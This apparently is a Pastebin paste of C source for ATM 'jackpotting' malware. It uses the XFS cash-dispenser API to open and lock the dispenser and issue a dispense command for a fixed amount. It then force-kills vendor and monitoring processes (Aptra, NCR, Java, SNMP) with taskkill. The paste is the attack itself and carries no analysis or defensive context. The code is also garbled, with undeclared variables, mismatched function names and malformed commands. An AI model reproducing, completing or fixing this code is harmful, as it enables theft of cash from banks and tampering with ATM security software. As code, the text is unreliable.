Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdbool.h>
- #include <xfsapi.h>
- #include <xfscdm.h>
- #define _ver_xfs_require 0x0100000d
- #define _ver_spi_require 0x0100000d
- const char _logicalName[] = "CourrencyDispenser1";
- #define TIME 0x07D0
- void _shell_execute_cmd(char *_v1,
- char *_v2,
- char *_v3,
- char *_v4)
- {
- FILE *fp;
- fp = popen(_v1," r ");
- if (!fp){
- fprintf(stderr," erro "); exit( 0 );
- }else {
- while(fgets(_v1,sizeof(_v1),fp) != NULL){
- printf("%s \n",_v1);
- }
- }
- Sleep(TIME); system(_v2); Sleep(TIME); system(_v3); Sleep(TIME); system(_v4);
- }
- int main()
- {
- HRESULT hResult;
- WFSVERSION lpwfs_version;
- int v1,v2,v3,v4,v5,v6,v7,capabilitis,cashUnit;
- HAPP hApp =0;
- DWORD dwTraceLevel = 0;
- WFSVERSION lpSRVcVersion,lSPIversion;
- LPHSERVICE lpHservice;
- WFSRESULT *lpResult;
- hResult = WFSStartUp(_ver_xfs_require,&lp_wfs_version);
- if (hResult == WFS_SUCCESS)
- {
- Sleep(0x1);
- fprintf(stdout," OK ");
- }
- v1 = WFSOpen(_logicalName,WFS_DEFAULT_HAPP,"CDM",dwTraceLevel,WFS_INDEFINITE_WAIT,_ver_spi_require,&lpSRVcVersion,&lSPIversion,&lpHservice);
- v2 = WFSLock(hService,WFS_INDEFINITE_WAIT,&lpResult);
- v6 = WFSGetInfo(hService,WFS_INF_CDM_CAPABILITIES,(void *)&lpStatus,WFS_INDEFINITE_WAIT,(void **)&lppResult);
- printf(" Maximo dispenser Itens: %d \n",(((WFSCDMCAPS)lppResult)->wMaxDispenseItems);
- capabilitis = (*lppResult);
- cashUnit = (*lppResult +30);
- v7 = (WFSCDMCAPS)lppResult->wMaxDispenseItems;
- switch(((WFSCDMCAPS)lppResult)->fwtype){
- default:
- fprintf(stdout," exit! ");
- break;
- case WFS_CDM_TELLERBILL:
- fprintf(stdout,"The CDM is a Teller Bill Dispenser.");
- break;
- case WFS_CDM_SELFSERVICEBILL:
- fprintf(stdout,"The CDM is a Self Service Bill Dispenser.");
- break;
- case WFS_CDM_TELLERCOIN:
- fprintf(stdout,"The CDM is a Teller Coin Dispenser.");
- break;
- case WFS_CDM_SELFSERVICECOIN:
- fprintf(stdout,"The CDM is a Self Service Coin Dispenser.");
- break;
- }
- ex->_denomination.ulCashBox = 0x1;
- ex->_denomination.ulAmount = 0x848;
- ex->_disp.usMixNumber = WFS_CDM_INDIVIDUAL;
- ex->_disp.usTellerID = 0x0 ;
- ex->_disp.fwPosition = 0x0 ;
- ex->_disp.bPresent = 0x0 ;
- v3 = WFSExecute(hService,WFS_CMD_CDM_DISPENSE,(void *)&lpDispense->lpDenomination->lpulValues,WFS_INDEFINITE_WAIT,&lppResult);
- switch((WFSCDMDISPENSE)->lppResult->fwPosition){
- default:
- break;
- case WFS_CDM_POSNULL:
- fprintf(stdout," The default configuration information is used. This can \n");
- break;
- case WFS_CDM_POSLEFT:
- fprintf(stdout," Present items to left side of device. \n");
- break;
- case WFS_CDM_POSRIGHT:
- fprintf(stdout," Present items to right side of device.\n");
- break;
- case WFS_CDM_POSCENTER:
- fprintf(stdout, " Present items to center output position. \n");
- break;
- case WFS_CDM_POSTOP:
- fprintf(stdout, " Present items to the top output position. \n");
- break;
- case WFS_CDM_POSBOTTOM:
- fprintf(stdout, " WFS_CDM_POSFRONT \n");
- break;
- case WFS_CDM_POSREAR:
- fprintf(stdout," Present items to the rear output position.\n");
- break;
- }
- v4 = WFSUnlock(hService);
- if (!v4)
- {
- shell_execute_cmd("taskkill /IM aptra* /T /F","taskkill / ncr * / T / F","taskkill / IM java.exe / T / F","taskkill / IM snmp.exe / T / F");
- }
- v5 = WFSClose(hService);
- system("pause"); return hResult;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement